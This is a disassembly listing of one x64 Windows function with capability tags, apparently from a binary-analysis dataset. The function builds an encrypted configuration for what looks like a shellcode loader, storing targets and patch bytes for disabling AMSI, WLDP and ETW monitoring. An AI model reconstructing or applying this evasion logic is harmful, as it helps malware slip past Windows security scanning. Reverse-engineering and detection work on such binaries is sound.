Function at 0x180003150
Capabilities:
Encode data using xor
Generate random numbers via winapi

Disassembly:
push rbx
push rsi
push rdi
push r12
push r14
sub rsp, 0x90
mov rax, qword [0x18000a008]
xor rax, rsp
mov qword [rsp + 0x88], rax
xor r12d, r12d
mov qword [rsp + 0x40], rcx
cmp dword [rcx + 0x1248], 1
lea r14, [rcx + 0x123c]
mov rsi, rcx
mov qword [rsp + 0x38], r14
mov edi, 0x1290
jne 0x18000319b
add edi, dword [r14]
jmp 0x1800031a0
mov qword [rsp + 0x38], r14
movsxd rcx, edi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_calloc]
mov rbx, rax
test rax, rax
jne 0x1800031be
lea eax, [rbx + 6]
jmp 0x1800039c4
mov qword [rsi + 0x1250], rbx
mov dword [rax], edi
mov eax, dword [rsi + 0x1248]
mov dword [rsi + 0x124c], edi
mov dword [rbx + 0x920], eax
mov eax, dword [rsi + 0x20]
mov dword [rbx + 0x230], eax
mov eax, dword [rsi + 0x28]
mov dword [rbx + 0x238], eax
mov eax, dword [rsi + 0x18]
mov dword [rbx + 0x234], eax
mov eax, dword [rsi + 0xc]
mov dword [rbx + 0x570], eax
mov eax, dword [rsi + 0x10]
mov dword [rbx + 0x574], eax
movsxd rax, dword [r14]
mov qword [rbx + 0xd58], rax
cmp dword [rsi + 0x18], 3
mov qword [rsp + 0xd0], r13
mov qword [rsp + 0xd8], r15
jne 0x18000332b
mov r9d, 1
mov dword [rsp + 0x20], 0xf0000040
xor r8d, r8d
lea rcx, [rsp + 0x30]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x180003939
mov rcx, qword [rsp + 0x30]
lea r8, [rsp + 0x68]
mov edx, 0x20
call qword [sym.imp.ADVAPI32.dll_CryptGenRandom]
mov rcx, qword [rsp + 0x30]
xor edx, edx
mov edi, eax
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
test edi, edi
je 0x180003939
movups xmm0, xmmword [rsp + 0x68]
mov r9d, 1
mov dword [rsp + 0x20], 0xf0000040
xor r8d, r8d
lea rcx, [rsp + 0x30]
movups xmmword [rbx + 4], xmm0
xor edx, edx
movups xmm1, xmmword [rsp + 0x78]
movups xmmword [rbx + 0x14], xmm1
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x180003939
mov rcx, qword [rsp + 0x30]
lea r8, [rsp + 0x48]
mov edx, 0x20
call qword [sym.imp.ADVAPI32.dll_CryptGenRandom]
mov rcx, qword [rsp + 0x30]
xor edx, edx
mov edi, eax
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
test edi, edi
je 0x180003939
movups xmm0, xmmword [rsp + 0x48]
lea rcx, [rbx + 0xc2c]
mov edx, 8
movups xmmword [rbx + 0xd38], xmm0
movups xmm1, xmmword [rsp + 0x58]
movups xmmword [rbx + 0xd48], xmm1
call fcn.180002df0
test eax, eax
je 0x180003939
lea r13, [rbx + 0x28]
mov edx, 8
mov rcx, r13
call fcn.180002d80
test eax, eax
jne 0x18000332f
jmp 0x180003939
lea r13, [rbx + 0x28]
mov rax, qword [str.kernel32.dll]
mov ecx, r12d
test rax, rax
je 0x1800033bb
mov qword [rsp + 0xc8], rbp
lea r15, [rbx + 0x30]
mov rbp, r12
lea rsi, str.kernel32.dll
mov r14, r12
nop word [rax + rax]
mov rdx, qword [r13]
mov rcx, rax
call fcn.180005270
mov rdx, qword [r13]
mov rdi, rax
mov rcx, qword [r14 + rsi + 8]
call fcn.180005270
xor rax, rdi
inc rbp
mov qword [r15], rax
lea r15, [r15 + 8]
mov r14, rbp
inc r12d
shl r14, 4
mov rax, qword [r14 + rsi]
test rax, rax
jne 0x180003360
mov rsi, qword [rsp + 0x40]
mov r14, qword [rsp + 0x38]
mov rbp, qword [rsp + 0xc8]
mov dword [rsp + 0x30], r12d
xor r12d, r12d
mov ecx, dword [rsp + 0x30]
mov dword [rbx + 0x23c], ecx
movups xmm0, xmmword [str.ole32_oleaut32_wininet_mscoree_shell32]
movups xmmword [rbx + 0x240], xmm0
movups xmm1, xmmword [0x1800079a0]
movups xmmword [rbx + 0x250], xmm1
mov eax, dword [0x1800079b0]
mov dword [rbx + 0x260], eax
movzx eax, word [0x1800079b4]
mov word [rbx + 0x264], ax
movzx eax, byte [0x1800079b6]
mov byte [rbx + 0x266], al
mov ecx, dword [rsi + 0x1238]
lea eax, [rcx - 1]
cmp eax, 1
jbe 0x1800034e8
lea eax, [rcx - 5]
cmp eax, 1
ja 0x18000353c
movups xmm0, xmmword [0x180010750]
movabs rax, 0x74706972635357
movups xmmword [rbx + 0x830], xmm0
movups xmm1, xmmword [0x1800102b0]
movups xmmword [rbx + 0x840], xmm1
movups xmm0, xmmword [0x180010770]
movups xmmword [rbx + 0x8c0], xmm0
movups xmm1, xmmword [0x180010280]
movups xmmword [rbx + 0x8d0], xmm1
movups xmm0, xmmword [0x180010310]
movups xmmword [rbx + 0x8e0], xmm0
movups xmm1, xmmword [0x180010740]
movups xmmword [rbx + 0x8f0], xmm1
movups xmm0, xmmword [0x1800102a0]
movups xmmword [rbx + 0x900], xmm0
movups xmm1, xmmword [0x1800102e0]
mov qword [rbx + 0x611], rax
movups xmmword [rbx + 0x910], xmm1
movsd xmm0, qword [str.wscript.exe]
movsd qword [rbx + 0x619], xmm0
mov eax, dword [0x1800079c0]
mov dword [rbx + 0x621], eax
cmp dword [rsi + 0x1238], 5
jne 0x1800034d8
movups xmm0, xmmword [0x1800102f0]
movups xmmword [rbx + 0x8b0], xmm0
jmp 0x18000353c
movups xmm0, xmmword [0x180010760]
movups xmmword [rbx + 0x8b0], xmm0
jmp 0x18000353c
movups xmm0, xmmword [0x1800102c0]
movups xmmword [rbx + 0x8a0], xmm0
movups xmm1, xmmword [0x180010290]
movups xmmword [rbx + 0x860], xmm1
movups xmm0, xmmword [0x180010330]
movups xmmword [rbx + 0x850], xmm0
movups xmm1, xmmword [0x180010300]
movups xmmword [rbx + 0x870], xmm1
movups xmm0, xmmword [0x180010320]
movups xmmword [rbx + 0x890], xmm0
movups xmm1, xmmword [0x1800102d0]
movups xmmword [rbx + 0x880], xmm1
cmp dword [rsi + 0xc], 1
je 0x180003713
mov dword [rbx + 0x35c], 0x726c63
mov eax, dword [str.amsi]
mov dword [rbx + 0x354], eax
movzx eax, byte [0x1800079c8]
mov byte [rbx + 0x358], al
movsd xmm0, qword [str.AmsiInitialize]
movsd qword [rbx + 0x5b8], xmm0
mov eax, dword [0x1800079d8]
mov dword [rbx + 0x5c0], eax
movzx eax, word [0x1800079dc]
mov word [rbx + 0x5c4], ax
movzx eax, byte [0x1800079de]
mov byte [rbx + 0x5c6], al
movsd xmm0, qword [str.AmsiScanBuffer]
movsd qword [rbx + 0x5c8], xmm0
mov eax, dword [0x1800079e8]
mov dword [rbx + 0x5d0], eax
movzx eax, word [0x1800079ec]
mov word [rbx + 0x5d4], ax
movzx eax, byte [0x1800079ee]
mov byte [rbx + 0x5d6], al
movsd xmm0, qword [str.AmsiScanString]
movsd qword [rbx + 0x5d8], xmm0
mov eax, dword [0x1800079f8]
mov dword [rbx + 0x5e0], eax
movzx eax, word [0x1800079fc]
mov word [rbx + 0x5e4], ax
movzx eax, byte [0x1800079fe]
mov byte [rbx + 0x5e6], al
mov eax, dword [str.wldp]
mov dword [rbx + 0x360], eax
movzx eax, byte [0x180007a04]
mov byte [rbx + 0x364], al
movups xmm0, xmmword [str.WldpQueryDynamicCodeTrust]
movups xmmword [rbx + 0x578], xmm0
movsd xmm1, qword [0x180007a18]
movsd qword [rbx + 0x588], xmm1
movzx eax, word [0x180007a20]
mov word [rbx + 0x590], ax
movups xmm0, xmmword [str.WldpIsClassInApprovedList]
movups xmmword [rbx + 0x598], xmm0
movsd xmm1, qword [0x180007a38]
movsd qword [rbx + 0x5a8], xmm1
movzx eax, word [0x180007a40]
mov word [rbx + 0x5b0], ax
mov eax, dword [str.ntdll]
mov dword [rbx + 0x368], eax
movzx eax, word [0x180007934]
mov word [rbx + 0x36c], ax
movsd xmm0, qword [str.EtwEventWrite]
movsd qword [rbx + 0x5e8], xmm0
mov eax, dword [0x180007a50]
mov dword [rbx + 0x5f0], eax
movzx eax, word [0x180007a54]
mov word [rbx + 0x5f4], ax
movups xmm0, xmmword [str.EtwEventUnregister]
movups xmmword [rbx + 0x5f8], xmm0
movzx eax, word [0x180007a68]
mov word [rbx + 0x608], ax
movzx eax, byte [0x180007a6a]
mov byte [rbx + 0x60a], al
mov eax, 0xc3
mov word [rbx + 0x60c], ax
movzx eax, word [0x180007a6c]
mov word [rbx + 0x60d], ax
movzx eax, byte [0x180007a6e]
mov byte [rbx + 0x60f], al
cmp dword [rsi + 0x1238], 4
jne 0x18000382b
cmp byte [rsi + 0x62c], 0
je 0x1800037d4
mov eax, dword [0x180007a74]
mov dword [rbx + 0x340], eax
movzx eax, word [0x180007a78]
mov word [rbx + 0x344], ax
movsd xmm0, qword [str.kernelbase]
movsd qword [rbx + 0x348], xmm0
movzx eax, word [0x180007a88]
mov word [rbx + 0x350], ax
movzx eax, byte [0x180007a8a]
mov byte [rbx + 0x352], al
movaps xmm0, xmmword [str._acmdln___argv___p__acmdln___p___argv__wcmdln___wargv___p__wcmdln___p___wargv]
movups xmmword [rbx + 0x370], xmm0
movaps xmm1, xmmword [0x180007aa0]
movups xmmword [rbx + 0x380], xmm1
movaps xmm0, xmmword [0x180007ab0]
movups xmmword [rbx + 0x390], xmm0
movaps xmm1, xmmword [0x180007ac0]
movups xmmword [rbx + 0x3a0], xmm1
movsd xmm0, qword [0x180007ad0]
movsd qword [rbx + 0x3b0], xmm0
mov eax, dword [0x180007ad8]
mov dword [rbx + 0x3b8], eax
movzx eax, word [0x180007adc]
mov word [rbx + 0x3bc], ax
cmp dword [rsi + 0x24], 0
je 0x18000382b
movups xmm0, xmmword [str.ExitProcess_exit__exit__cexit__c_exit_quick_exit__Exit]
movups xmmword [rbx + 0x470], xmm0
movups xmm1, xmmword [0x180007af0]
movups xmmword [rbx + 0x480], xmm1
movups xmm0, xmmword [0x180007b00]
movups xmmword [rbx + 0x490], xmm0
mov eax, dword [0x180007b10]
mov dword [rbx + 0x4a0], eax
movzx eax, word [0x180007b14]
mov word [rbx + 0x4a4], ax
movzx eax, byte [0x180007b16]
mov byte [rbx + 0x4a6], al
lea rcx, [rsi + 0x730]
mov rdx, rbx
sub rdx, rcx
nop dword [rax + rax]
movzx eax, byte [rcx]
mov byte [rcx + rdx + 0x625], al
lea rcx, [rcx + 1]
test al, al
jne 0x180003840
mov eax, dword [rbx + 0x920]
cmp eax, 2
jne 0x18000394e
cmp byte [rsi + 0x1138], 0
jne 0x180003885
cmp dword [rsi + 0x18], 1
jne 0x180003920
movabs rax, 0x4141414141414141
mov qword [rsi + 0x1138], rax
lea rcx, [rbx + 0x924]
mov r8, rcx
lea rdx, [rsi + 0xf38]
sub r8, rdx
nop dword [rax]
movzx eax, byte [rdx]
mov byte [rdx + r8], al
lea rdx, [rdx + 1]
test al, al
jne 0x1800038a0
dec rcx
cmp byte [rcx + 1], 0
lea rcx, [rcx + 1]
jne 0x1800038b2
xor edx, edx
nop
movzx eax, byte [rsi + rdx + 0x1138]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x1800038c0
mov dword [rbx + 0xc24], 0x544547
cmp dword [rsi + 0x18], 3
jne 0x1800039b1
mov rdx, qword [r13]
lea rcx, [rbx + 0xc2c]
call fcn.180005270
mov rcx, qword [rsi + 0x1240]
lea rdx, [rsp + 0x58]
mov qword [rcx + 0x518], rax
lea rcx, [rsp + 0x48]
mov r9d, dword [r14]
mov r8, qword [rsi + 0x1240]
call fcn.180004c50
jmp 0x180003970
mov edx, 8
lea rcx, [rsi + 0x1138]
call fcn.180002df0
test eax, eax
jne 0x180003885
mov r12d, 0xb
mov rcx, qword [rsi + 0x1240]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
jmp 0x1800039b1
cmp eax, 1
jne 0x180003970
mov rcx, qword [rsi + 0x1250]
movsxd r8, dword [r14]
add rcx, 0xd60
mov rdx, qword [rsi + 0x1240]
call sub.VCRUNTIME140.dll_memcpy
cmp dword [rsi + 0x18], 3
jne 0x1800039b1
mov rdx, qword [r13]
lea rcx, [rbx + 0xc2c]
call fcn.180005270
mov qword [rbx + 0xd30], rax
lea r8, [rbx + 0x23c]
mov r9d, dword [rsi + 0x124c]
lea rdx, [rsp + 0x78]
sub r9d, 0x23c
lea rcx, [rsp + 0x68]
call fcn.180004c50
mov r15, qword [rsp + 0xd8]
mov eax, r12d
mov r13, qword [rsp + 0xd0]
mov rcx, qword [rsp + 0x88]
xor rcx, rsp
call fcn.1800054c0
add rsp, 0x90
pop r14
pop r12
pop rdi
pop rsi
pop rbx
ret